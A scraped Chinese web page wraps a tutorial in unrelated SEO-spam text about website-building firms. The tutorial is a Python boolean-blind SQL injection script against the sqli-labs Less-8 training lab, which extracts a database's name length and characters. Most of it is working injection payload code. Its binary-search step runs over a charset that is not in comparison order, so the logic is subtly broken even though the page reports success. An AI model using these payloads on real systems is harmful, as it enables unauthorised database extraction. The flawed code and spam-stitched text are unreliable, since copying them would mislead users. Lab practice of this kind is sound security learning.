当前位置: 首页 > wzjs >正文

青岛建站模板厂家商派商城网站建设

青岛建站模板厂家,商派商城网站建设,广州网站建设免费,许昌做网站公司汉狮价格为了优化自动化布尔盲注的代码,我们可以使用二分查找来减少猜测次数,从而提高效率。以靶场sqli为例:import requests# 目标URL url "http://127.0.0.1/sqli/Less-8/index.php"# 要推断的数据库信息(例如:数…

为了优化自动化布尔盲注的代码,我们可以使用二分查找来减少猜测次数,从而提高效率。

以靶场sqli为例:

import requests# 目标URL
url = "http://127.0.0.1/sqli/Less-8/index.php"# 要推断的数据库信息(例如:数据库名)
database_name = ""# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "# 推断数据库名的长度
def get_database_length():length = 0while True:length += 1payload = f"1' AND (SELECT length(database()) = {length}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return lengthif length > 50:  # 防止无限循环breakreturn 0# 使用二分查找推断数据库名
def get_database_name(length):db_name = ""for i in range(1, length + 1):left, right = 0, len(charset) - 1while left <= right:mid = (left + right) // 2char = charset[mid]payload = f"1' AND (SELECT substring(database(), {i}, 1) >= '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:left = mid + 1else:right = mid - 1db_name += charset[right]return db_name# 主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")

代码解释:

  1. get_database_length 函数:与原代码相同,用于推断数据库名的长度。
  2. get_database_name 函数
    • 使用二分查找来推断数据库名的每一个字符。
    • 对于每一个位置 i,初始化左右指针 left 和 right 分别指向字符集的起始和结束位置。
    • 在每次循环中,取中间位置 mid 的字符 char,构造 SQL 注入 payload 进行判断。
    • 如果判断结果为真,则将左指针 left 移动到 mid + 1;否则,将右指针 right 移动到 mid - 1
    • 当 left > right 时,循环结束,此时 charset[right] 即为该位置的正确字符。
  3. 主函数:调用 get_database_length 函数获取数据库名的长度,然后调用 get_database_name 函数推断数据库名,并输出结果。

运行结果:

成功字符比对出数据库长度和名称

http://www.dtcms.com/wzjs/544004.html

相关文章:

  • 衡阳市建设学校官方网站国内免备案网站空间
  • 企业网站架构公司注册资金减少意味着什么
  • 国内做网站的公司湖南建筑信息网湖南建设人力资源
  • 旅游网站建设流程步骤求一个2023年没封的
  • 网站建设公司的公众号南通的网站建设
  • 宇宙企画网站阿里云wordpress菜鸟
  • 有哪些做软件的网站有哪些如何制作apple pencil
  • 网页设计师联盟网站怎么小语种网站怎么做
  • 网站建设主要工作流程wordpress 天气插件
  • 天津电商网站制作阿里云免费域名注册
  • 网站建设用的是什么软件在货源网站自己拿样 加盟 做代理 哪个比较好?
  • 嘉兴自助模板建站怎么看网站空间
  • 嵩明县住房和城乡建设局网站检测站点是否使用wordpress
  • 大连专业手机自适应网站建设维护metro 网站模板
  • 学校网站建设注意点长沙住房与城乡建设部网站
  • 有免费建网站cvm服务器
  • 建设一个网站大概费用sem跟seo的区别
  • 做一个小程序商城需要多少钱石家庄seo优化
  • 富阳做网站成都网页设计班
  • 网站备案没座机营销推广软文案例
  • 如何查看网站建站程序网站软件有哪些
  • 商城网站开发技术地方门户系统源码
  • 广州服装 网站建设做软欧的网站
  • 天津网站开发制作重庆网站建设多少钱
  • 株洲企业网站建设工作场外期权网站开发
  • 专业微网站制作做摄影网站
  • 免费网站程序下载如何做基金公司网站
  • wordpress 建站系统wordpress客户端登陆不了
  • 企业网站备案策划门户网站地方生活门户有哪些
  • 在线做网站需要什么企业内网怎么搭建